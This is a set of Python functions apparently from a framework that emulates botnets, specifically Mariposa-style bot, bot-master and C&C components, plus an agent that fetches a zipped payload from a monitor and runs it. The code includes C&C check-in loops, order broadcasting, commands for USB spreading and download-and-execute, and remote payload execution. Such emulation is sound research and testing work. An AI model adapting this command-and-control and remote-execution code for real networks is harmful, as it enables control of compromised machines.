def bot_worker_loop(self): """ The bot worker thread """ # send initial connection message mariposa_cnc = MariposaBot.cnc mariposa_port = MariposaBot.bot_port sleep(2 * 60) msg = MariposaProtocol.generate_initial_connect_message( MariposaBot.seq_num) NetUtility.send_message_ipv4_udp(mariposa_cnc, MariposaProtocol.MARIPOSA_PORT1, msg) MariposaBot.seq_num += 1 self.logger.info("send connection request") # print "send connection request" while self.active: if self.state == ConnectionState.ALIVENESS_PHASE: # send signal msg = MariposaProtocol.generate_aliveness_announcement( MariposaBot.seq_num) NetUtility.send_message_ipv4_udp(MariposaBot.connected_to, mariposa_port, msg) MariposaBot.seq_num += 1 self.logger.info("send aliveness signal") # print "send aliveness signal" sleep(4 * 60)
def execute_orders_impl(self): """ Execute the stored orders. """ if HelloBot.orders.target != '': o = HelloBot.orders NetUtility.send_message_ipv4_udp(o.target, o.target_port, o.message)
def place_order_impl(self, unpacked_data): """ Send command to c&c server. Refer to print commands for details. :type unpacked_data: dict :param unpacked_data: a dict with the command """ target = unpacked_data['cnc_target_host'] target_port = unpacked_data['cnc_target_port'] command = unpacked_data['command'] additional_params = unpacked_data['args'] current_seq_num = MariposaBotMaster.seq_num if command == "enable_google": msg = MariposaProtocol.generate_enable_google_message( current_seq_num) elif command == "disable_google": msg = MariposaProtocol.generate_disable_google_message( current_seq_num) elif command == "enable_msn": msg = MariposaProtocol.generate_enable_messenger_message( current_seq_num) elif command == "disable_msn": msg = MariposaProtocol.generate_disable_messenger_message( current_seq_num) elif command == "enable_usb": msg = MariposaProtocol.generate_enable_usb_spreader_message( current_seq_num) elif command == "disable_usb": msg = MariposaProtocol.generate_disable_usb_spreader_message( current_seq_num) elif command == "silence": msg = MariposaProtocol.generate_silence_channel_message( current_seq_num, additional_params) elif command == "send_ip_list": msg = MariposaProtocol.generate_channel_ip_list_message( current_seq_num) elif command == "update": msg = MariposaProtocol.generate_update_malware_message( current_seq_num) elif command == "download": msg = MariposaProtocol.generate_download_and_exec_message( current_seq_num) elif command == "download2": msg = MariposaProtocol.generate_new_alternative_download_and_exec_message( current_seq_num) elif command == "remove": msg = MariposaProtocol.generate_remove_bot_message(current_seq_num) else: return NetUtility.send_message_ipv4_udp(target, target_port, msg) MariposaBotMaster.seq_num += 1
def server_acceptor_listener(self): """ This thread listens for incoming connections and passes them to the server_acceptor_handler method. """ self.server_listener_socket = NetUtility.create_ipv4_tcp_socket( self.server_port, self.server_bind_address) while self.server_working: try: readable, writable, exceptional = select.select( [self.server_listener_socket], [], [], 1) for c in readable: s, ad = c.accept() self.server_acceptor_handler(s, ad) # except select.error as e: # self.server_logger.logger.debug("Select Error: %s", e) # break except socket.error as e: self.server_logger.logger.debug("Socket Error on select: %s", e) # print "Socket Error: ", e.message break except RuntimeError as e: self.server_logger.logger.debug("Runtime Error on select: %s", e) # print "Runtime Error: ", e.message break self.server_logger.logger.debug("Left the acceptor-listener-loop!")
def client_open_connection(self, host, port, timeout=None, operation_timeout=None): """ Opens a socket to a TCP-server. Will block till connection is established. :type port: int :type host: str :type timeout: float | None :type operation_timeout: float | None :param host: the host to connect to :param port: the port to connect to :param timeout: time to wait for till connection is established :param operation_timeout: time to wait for all other socket operations :raise RuntimeError: is raised if you attempt to open a new connection without closing an old one :raise socket.timeout: is raised if an connection could not be established in time """ if self.client_socket_is_open is False: while True: try: self.client_socket = NetUtility.open_ipv4_tcp_connection( host, port, timeout, operation_timeout) break except socket.timeout: # handle timeouts separate raise socket.timeout( "Failed to establish connection in specified time!") except socket.error: pass self.client_socket_is_open = True else: raise RuntimeError("socket needs to be closed first")
def place_order_impl(self, unpacked_data): """ Stores a command on a server. :type unpacked_data: dict :param unpacked_data: a dict containing the orders data """ try: receiving_host = unpacked_data['cnc_target'] receiving_port = unpacked_data['cnc_target_port'] command = unpacked_data['command'] target = unpacked_data['bot_target'] msg = unpacked_data['msg'] cmd_string = 'place ' + command + ' ' + target + ' ' + msg NetUtility.send_message_ipv4_udp(receiving_host, receiving_port, cmd_string) except socket.error: pass
def pull_orders_impl(self, src_host, src_port): """ Request new orders. :param src_host: C&C-server hosting orders :param src_port: servers port """ try: if src_host is not None: NetUtility.send_message_ipv4_udp(src_host, src_port, 'pull') else: server, port = self.server_list.get_peer(0) NetUtility.send_message_ipv4_udp(server, port, 'pull') except KeyError: pass except socket.error: pass
def server_acceptor_listener(self): """ This thread listens for incoming connections and passes them to the server_acceptor_handler method. """ self.server_listener_socket = NetUtility.create_ipv4_udp_socket( self.server_port, self.server_bind_address) while self.server_working: try: readable, writable, exceptional = select.select( [self.server_listener_socket], [], []) for c in readable: s, ad = c.accept() self.server_acceptor_handler(s, ad) except socket.error as e: print "Socket Error: ", e.message except RuntimeError as e: print "Runtime Error: ", e.message
def agent_start(self, monitor_ip='192.168.100.1', monitor_port=10555, bind_ip='127.0.0.1', bind_port=10556, request_payload_on_start=True, payload_name='group'): """ Starts the agent. :type payload_name: str :type request_payload_on_start: bool :type bind_port: int :type bind_ip: str :type monitor_port: int :type monitor_ip: str :param request_payload_on_start: whether we want to bootstrap a payload on start :param payload_name: the name of the payload we want to bootstrap :param monitor_ip: ip/host where the monitor is running :param monitor_port: the port of the monitor :param bind_ip: the address we want the agent to bind to :param bind_port: the port we want the agent to bind to """ self.active = True self.stopped = False self.payload_name = payload_name self.logger.info("waiting for connection to monitor...") # print "waiting for connection to monitor..." self.client_open_connection(monitor_ip, monitor_port) self.client_thread = threading.Thread( None, self.agent_client_command_processor_thread) self.client_thread.start() self.logger.info("established connection to monitor") # print "established connection to monitor" self.server_start_listener(bind_port, bind_ip) self.logger.info("started agent listener") # print "started agent listener" if request_payload_on_start: self.logger.info("beginning bootstrapping process...") # print "beginning bootstrapping process..." m = messagegenerator.generate_payload_request(0, payload_name) self.client_socket.send( NetUtility.length_prefix_message(m.SerializeToString()))
def processor_thread(self, delegate): """ This thread will listen to incoming announcements from the delegates associated agent. :type delegate: hystck.core.agentconnectorbase.AgentConnectorBaseDelegate :param delegate: the delegate to work with :raise RuntimeError: """ while self.active: try: # receive a message msg = NetUtility.receive_prefixed_message(delegate.agent_socket) m = genericmessage_pb2.GenericMessage() m.ParseFromString(msg) self.logger.debug("[%s] got message> %s", delegate.ip_address, str(m)) # print "[", delegate.ip_address, "] got message>\n", str(m) # check what type of message was received # todo implement a function mapper # check if it's a announcement and set the delegates state if m.message_type == messagetypes_pb2.ANNOUNCE: if m.HasExtension(announcemessage_pb2.status_info): if m.Extensions[announcemessage_pb2.status_info].state == announcemessage_pb2.ONLINE_ENABLED: delegate.state = agentconnectorbase.BotStates.enabled delegate.instance_of = m.Extensions[announcemessage_pb2.status_info].instance_of self.logger.info("%s changed state to enabled", delegate.ip_address) # print delegate.ip_address, ' changed state to enabled' elif m.Extensions[announcemessage_pb2.status_info].state == announcemessage_pb2.ONLINE_DISABLED: delegate.state = agentconnectorbase.BotStates.disabled delegate.instance_of = m.Extensions[announcemessage_pb2.status_info].instance_of self.logger.info("%s changed state to disabled", delegate.ip_address) # print delegate.ip_address, ' changed state to disabled' elif announcemessage_pb2.GRACEFUL_SHUTDOWN == \ m.Extensions[announcemessage_pb2.status_info].state: delegate.state = agentconnectorbase.BotStates.offline delegate.instance_of = m.Extensions[announcemessage_pb2.status_info].instance_of self.logger.info("%s changed state to offline", delegate.ip_address) # print delegate.ip_address, ' changed state to offline' elif m.Extensions[announcemessage_pb2.status_info].state == announcemessage_pb2.CRASHED: delegate.state = agentconnectorbase.BotStates.crashed delegate.instance_of = m.Extensions[announcemessage_pb2.status_info].instance_of self.logger.info("%s changed state to crashed", delegate.ip_address) # print delegate.ip_address, ' changed state to crashed' else: raise RuntimeError('unhandled announce message type') else: raise RuntimeError('missing extension field') # check if it's a payload request and try to send the requested payload to agent elif m.message_type == messagetypes_pb2.PAYLOAD_REQUEST: if m.HasExtension(payloadmessage_pb2.payload_req): gid = self.bot_registry.items[delegate.ip_address].gid p = self.payload_registry.request_payload( m.Extensions[payloadmessage_pb2.payload_req].payload_name, gid) if p is None: self.logger.warning("%s requested unregistered payload", delegate.ip_address) # print "requested unregistered payload" m = messagegenerator.generate_payload_message_embedded(0, str()) delegate.agent_socket.send(NetUtility.length_prefix_message(m.SerializeToString())) elif isinstance(p, Payload): if p.is_embedded: m = messagegenerator.generate_payload_message_embedded(0, p.embedded_data) delegate.agent_socket.send(NetUtility.length_prefix_message(m.SerializeToString())) else: pass else: pass # check if it's an answer and update the last received message info elif m.message_type == messagetypes_pb2.ANSWER: if m.HasExtension(answermessage_pb2.answer_info): cmd = m.Extensions[answermessage_pb2.answer_info].request state = m.Extensions[answermessage_pb2.answer_info].ok info = m.Extensions[answermessage_pb2.answer_info].answer delegate.last_answer.update(cmd, state, info) # bot requested the globals elif m.message_type == messagetypes_pb2.GLOBALS_REQUEST: m = messagegenerator.generate_globals_answer_message(0, self.globals) delegate.agent_socket.send(NetUtility.length_prefix_message(m.SerializeToString())) else: self.logger.warning("%s: Unhandled message type", delegate.ip_address) # print "Unhandled message type" except socket.error as e: # excepts most likely if the socket connection is broken self.logger.error("Socket Error: ", e) # print "Socket Error: ", str(e) delegate.agent_socket.close() break except RuntimeError as e: # excepts most likely if an agent wants to close it's connection gracefully self.logger.warning("%s: %s", delegate.ip_address, e) # print e.message if e.message == 'unexpected connection close': try: delegate.agent_socket.shutdown(socket.SHUT_RDWR) except socket.error: pass finally: delegate.agent_socket.close() self.logger.info("%s: socket has been closed by demand", delegate.ip_address) # print 'socket has been closed by demand' delegate.state = agentconnectorbase.BotStates.offline self.logger.info("%s changed state to offline", delegate.ip_address) # print delegate.ip_address, ' changed state to offline' break else: self.logger.error("RuntimeError: %s", e) delegate.agent_socket.close() break # except Exception as e: # # a different kind of error was raised # print "Error: ", e.message except message.Error as e: self.logger.error("ProtoBuf Error: %s", e)
def handle(self): """ The implementation for the handler. """ LoggerStatic.if_not_then_initialize("CnCRequestHandler(bot-channel)") data = bytearray(self.request[0]) LoggerStatic.logger.debug("Got[%s]: %s", str(len(data)), ' '.join('{:02x}'.format(x) for x in data)) # print "(Bot-channel) Got[" + str(len(data)) + "]:" + ' '.join('{:02x}'.format(x) for x in data) type_code = data[0] seq = str(data[1:3]) seq_num = struct.unpack("H", seq)[0] if MariposaCnC.seq_num < seq_num: # if seq num is lower update it MariposaCnC.seq_num = seq_num MariposaCnC.seq_num += 1 if type_code == 0x61: # join request # bot wants to connect LoggerStatic.logger.info("new join from bot: %s", self.client_address) # print "new join from bot: " + self.client_address[0] MariposaCnC.clients[ self.client_address[0]] = ConnectionState.INIT_JOIN_SEND msg = MariposaProtocol.generate_initial_join_server_ack_ip_address( MariposaCnC.seq_num, self.client_address[0]) # ack with remote ip NetUtility.send_message_ipv4_udp(self.client_address[0], MariposaCnC.bm_port, msg) elif type_code == 0x80: # ack # bot or bot master acks a command response message, check by peer list if self.client_address[0] in MariposaCnC.clients: # bot acknowledging command, forward it to bm if MariposaCnC.clients[self.client_address[ 0]] == ConnectionState.ALIVENESS_PHASE: LoggerStatic.logger.info("bot acknowledges command: %s", self.client_address[0]) # print "bot acknowledges command: " + self.client_address[0] NetUtility.send_message_ipv4_udp(MariposaCnC.bm_ip, MariposaCnC.bm_port, data) else: LoggerStatic.logger.info("connection half-opened: %s", self.client_address[0]) # print "connection half-opened: " + self.client_address[0] else: # bm acknowledging bot, do nothing pass elif type_code == 0x01: # cmd/resp, send with sys info if self.client_address[0] in MariposaCnC.clients: # bot finalizing connection, forward to bm LoggerStatic.logger.info( "bot finalized connection or is alive: %s", self.client_address[0]) # print "bot finalized connection or is alive: " + self.client_address[0] if MariposaCnC.clients[self.client_address[ 0]] != ConnectionState.ALIVENESS_PHASE: LoggerStatic.logger.info( "new finalized connection, telling bot-master") # print "new finalized connection, telling bot master" NetUtility.send_message_ipv4_udp(MariposaCnC.bm_ip, MariposaCnC.bm_port, data) MariposaCnC.clients[ self.client_address[0]] = ConnectionState.ALIVENESS_PHASE # tell bot that connection is established msg = MariposaProtocol.generate_initial_acknowledgement( MariposaCnC.seq_num) NetUtility.send_message_ipv4_udp(self.client_address[0], MariposaCnC.bm_port, msg) else: # bm sending command, broadcast to all alive peers LoggerStatic.logger.info("new order from bot-master") # print "new order from bm" for p, s in MariposaCnC.clients.iteritems(): if s == ConnectionState.ALIVENESS_PHASE: NetUtility.send_message_ipv4_udp( p, MariposaCnC.bm_port, data) else: pass MariposaCnC.seq_num += 1
def agent_server_processor_thread(self, sock): """ This is the bot side message listener thread. :type sock: socket._socketobject :param sock: the socket to work with """ is_graceful = False while self.active: # msg = '' try: # receive a message msg = NetUtility.receive_prefixed_message(sock) m = GenericMessage() m.ParseFromString(msg) self.logger.debug("(bot-side): got message> %s", str(m)) # print "agent (bot-side): got message>\n", str(m) # check if bot wants to go down if m.message_type == messagetypes_pb2.ANNOUNCE: if m.HasExtension(announcemessage_pb2.status_info): if m.Extensions[ announcemessage_pb2. status_info].state == announcemessage_pb2.GRACEFUL_SHUTDOWN: is_graceful = True self.logger.info("expecting graceful shutdown") # print "expecting a graceful shutdown" # pass message to monitor self.client_socket.send(NetUtility.length_prefix_message(msg)) except socket.error as e: # except this to happen if socket was close immaturely self.logger.warning("Socket Error: %s", e) # print "Socket Error: ", str(e) # check if we got a shutdown announcement if not is_graceful: try: # the bot crashed most likely, tell the monitor self.logger.error("Instance has crashed!") cm = messagegenerator.generate_announce_message( 0, announcemessage_pb2.CRASHED, 'AgentConnectorBaseDelegate') self.client_socket.send( NetUtility.length_prefix_message( cm.SerializeToString())) except socket.error: pass break # close the socket anyway since it is faulty self.logger.warning("Closing socket!") sock.close() self.socket_pool.remove(sock) break except RuntimeError as e: # except this to happen if the bot wants to close the socket if e.message == 'unexpected connection close': try: sock.shutdown(socket.SHUT_RDWR) except socket.error: pass finally: sock.close() self.logger.info("socket has been closed by demand") # print 'socket has been closed by demand' self.socket_pool.remove(sock) # check if we got a shutdown announcement if not is_graceful: try: # the bot crash most likely, tell the monitor self.logger.error("Instance has crashed!") cm = messagegenerator.generate_announce_message( 0, announcemessage_pb2.CRASHED, 'AgentConnectorBaseDelegate') self.client_socket.send( NetUtility.length_prefix_message( cm.SerializeToString())) except socket.error: pass break else: self.logger.error("RuntimeError: %s", e) sock.close() self.socket_pool.remove(sock) break except message.Error as e: self.logger.error("ProtoBuf Error: %s", e)
def agent_client_command_processor_thread(self): """ This is the monitor side message listener thread """ while self.active is True: try: # receive a command msg = NetUtility.receive_prefixed_message(self.client_socket) m = GenericMessage() m.ParseFromString(msg) self.logger.debug("(monitor-side): got message> %s", str(m)) # print "agent (monitor-side): got message>\n", str(m) # pass it on to the bot if m.message_type == messagetypes_pb2.PAYLOAD: self.logger.info("received new payload") # print "received a new payload" if m.HasExtension(payloadmessage_pb2.payload_info): if m.Extensions[ payloadmessage_pb2. payload_info].source_type == payloadmessage_pb2.EMBEDDED: if m.Extensions[ payloadmessage_pb2.payload_info].size == 0: self.logger.warning( "got the dummy payload, trying again...") # print "got the dummy payload, trying again..." sleep(1) m = messagegenerator.generate_payload_request( 0, self.payload_name) self.client_socket.send( NetUtility.length_prefix_message( m.SerializeToString())) else: if self.bot_handle is not None: # the current payload should be replaced self.logger.info( "old payload will be replaced") # print "old payload will be replaced" self.bot_handle.terminate() self.bot_handle = None raw_payload = m.Extensions[ payloadmessage_pb2.payload_info].content try: f = open('tmp.zip', 'wb') f.write(raw_payload) f.flush() f.close() payloadutils.load_and_unpack('tmp.zip') meta = payloadutils.parse_meta_data() self.bot_handle = payloadutils.execute_with_metadata( meta) self.logger.info("started a new payload") # print "started a new payload" except IOError as e: self.logger.error("IOError: %s", e) # print e.message except OSError as e: self.logger.error("OSError: %s", e) else: pass else: msg = NetUtility.length_prefix_message( m.SerializeToString()) self.socket_pool[0].send( msg ) # note the first object should always be the bots socket except IndexError: # expect this to happen if no bot is running self.logger.error( "IndexError: probably no bot-instance is running") # print "IndexError: probably no bot-instance is running" except socket.error as e: # except this to happen if socket was close immaturely self.logger.error("Socket Error: %s", e) # print "Socket Error: ", str(e) self.client_socket.close() break except RuntimeError as e: # except this to happen if the bot wants to close the socket if e.message == 'unexpected connection close': try: self.client_socket.shutdown(socket.SHUT_RDWR) except socket.error: pass finally: self.client_socket.close() self.logger.info("socket has been closed by demand") # print 'socket has been closed by demand' break else: self.logger.error("RuntimeError: %s", e) self.client_socket.close() break except message.Error as e: self.logger.error("ProtoBuf Error: %s", e) # print "ProtoBuf Error: ", e.message if self.bot_handle is not None: self.bot_handle.terminate() self.bot_handle = None